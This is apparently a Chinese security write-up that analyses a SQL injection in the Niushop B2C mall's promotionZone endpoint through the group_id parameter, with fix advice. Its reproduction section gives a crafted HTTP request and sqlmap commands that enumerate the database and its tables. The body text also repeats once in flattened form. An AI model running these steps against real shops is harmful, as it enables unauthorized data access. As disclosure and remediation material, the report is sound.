某Shop SQL注入(二)
字数 952 2025-08-26 22:11:34

Niushop B2C商城系统SQL注入漏洞分析报告

0x01 漏洞概述

Niushop B2C商城系统是基于ThinkPHP5.0开发的电商平台,在/Application/(wap/shop)/Controller/Goods.php文件的promotionZone方法中存在SQL注入漏洞。该漏洞源于未对用户输入的group_id参数进行有效过滤,导致攻击者可以构造恶意SQL语句进行注入攻击。

0x02 漏洞分析

漏洞位置

  • 控制器文件:/Application/(wap/shop)/Controller/Goods.php
  • 方法:promotionZone
  • 关键参数:group_id

漏洞调用链

  1. promotionZone方法接收group_id参数(无过滤)
  2. 将参数拼接到SQL条件中
  3. 传递给GoodsService->getGoodsList方法
  4. 继续传递到NsGoodsViewModel->getGoodsViewList方法
  5. 再传递到NsGoodsViewModel->getGoodsViewQuery方法
  6. 最终传递到BaseModel->viewPageQuery方法执行

关键代码分析

// Goods.php中的promotionZone方法
$group_id = request()->get('group_id', ''); // 获取未过滤的group_id参数
if (!empty($group_id)) {
    $condition .= " and (FIND_IN_SET($group_id, group_id_array))"; // 直接拼接SQL
}

// 后续调用链
$goods_list = $this->goods_service->getGoodsList($condition);

0x03 漏洞复现

复现步骤

  1. 构造恶意请求:
GET /index.php?s=/wap/Goods/promotionZone&group_id=*&page=1 HTTP/1.1
Host: target.com
X-Requested-With: XMLHttpRequest
  1. 使用sqlmap进行自动化测试:
sqlmap -r niushop.txt --random-agent --batch --dbms "mysql"
sqlmap -r niushop.txt --random-agent --batch --dbms "mysql" --current-db
sqlmap -r niushop.txt --random-agent --batch --dbms "mysql" -D niushop_b2c --tables

复现要点

  • 需要X-Requested-With: XMLHttpRequest
  • 漏洞利用点为group_id参数
  • 系统使用MySQL数据库

0x04 漏洞修复建议

临时修复方案

  1. promotionZone方法中添加参数过滤:
$group_id = intval(request()->get('group_id', 0)); // 强制转换为整数
  1. 或者使用预处理语句重构SQL查询

长期修复方案

  1. 在框架层面实现统一的输入过滤机制
  2. 使用ORM或查询构造器代替原生SQL拼接
  3. 实现参数化查询

0x05 安全建议

  1. 对所有用户输入进行严格验证和过滤
  2. 避免直接拼接用户输入到SQL语句中
  3. 使用框架提供的安全查询方法
  4. 定期进行代码安全审计
  5. 部署WAF等防护措施

0x06 总结

该漏洞是典型的SQL注入漏洞,由于未对用户输入进行过滤直接拼接到SQL语句中导致。开发人员应遵循"不信任任何用户输入"的原则,对所有输入参数进行严格验证和过滤,使用安全的数据库查询方式,避免此类安全问题发生。

Niushop B2C商城系统SQL注入漏洞分析报告 0x01 漏洞概述 Niushop B2C商城系统是基于ThinkPHP5.0开发的电商平台,在 /Application/(wap/shop)/Controller/Goods.php 文件的 promotionZone 方法中存在SQL注入漏洞。该漏洞源于未对用户输入的 group_id 参数进行有效过滤,导致攻击者可以构造恶意SQL语句进行注入攻击。 0x02 漏洞分析 漏洞位置 控制器文件: /Application/(wap/shop)/Controller/Goods.php 方法: promotionZone 关键参数: group_id 漏洞调用链 promotionZone 方法接收 group_id 参数(无过滤) 将参数拼接到SQL条件中 传递给 GoodsService->getGoodsList 方法 继续传递到 NsGoodsViewModel->getGoodsViewList 方法 再传递到 NsGoodsViewModel->getGoodsViewQuery 方法 最终传递到 BaseModel->viewPageQuery 方法执行 关键代码分析 0x03 漏洞复现 复现步骤 构造恶意请求: 使用sqlmap进行自动化测试: 复现要点 需要 X-Requested-With: XMLHttpRequest 头 漏洞利用点为 group_id 参数 系统使用MySQL数据库 0x04 漏洞修复建议 临时修复方案 在 promotionZone 方法中添加参数过滤: 或者使用预处理语句重构SQL查询 长期修复方案 在框架层面实现统一的输入过滤机制 使用ORM或查询构造器代替原生SQL拼接 实现参数化查询 0x05 安全建议 对所有用户输入进行严格验证和过滤 避免直接拼接用户输入到SQL语句中 使用框架提供的安全查询方法 定期进行代码安全审计 部署WAF等防护措施 0x06 总结 该漏洞是典型的SQL注入漏洞,由于未对用户输入进行过滤直接拼接到SQL语句中导致。开发人员应遵循"不信任任何用户输入"的原则,对所有输入参数进行严格验证和过滤,使用安全的数据库查询方式,避免此类安全问题发生。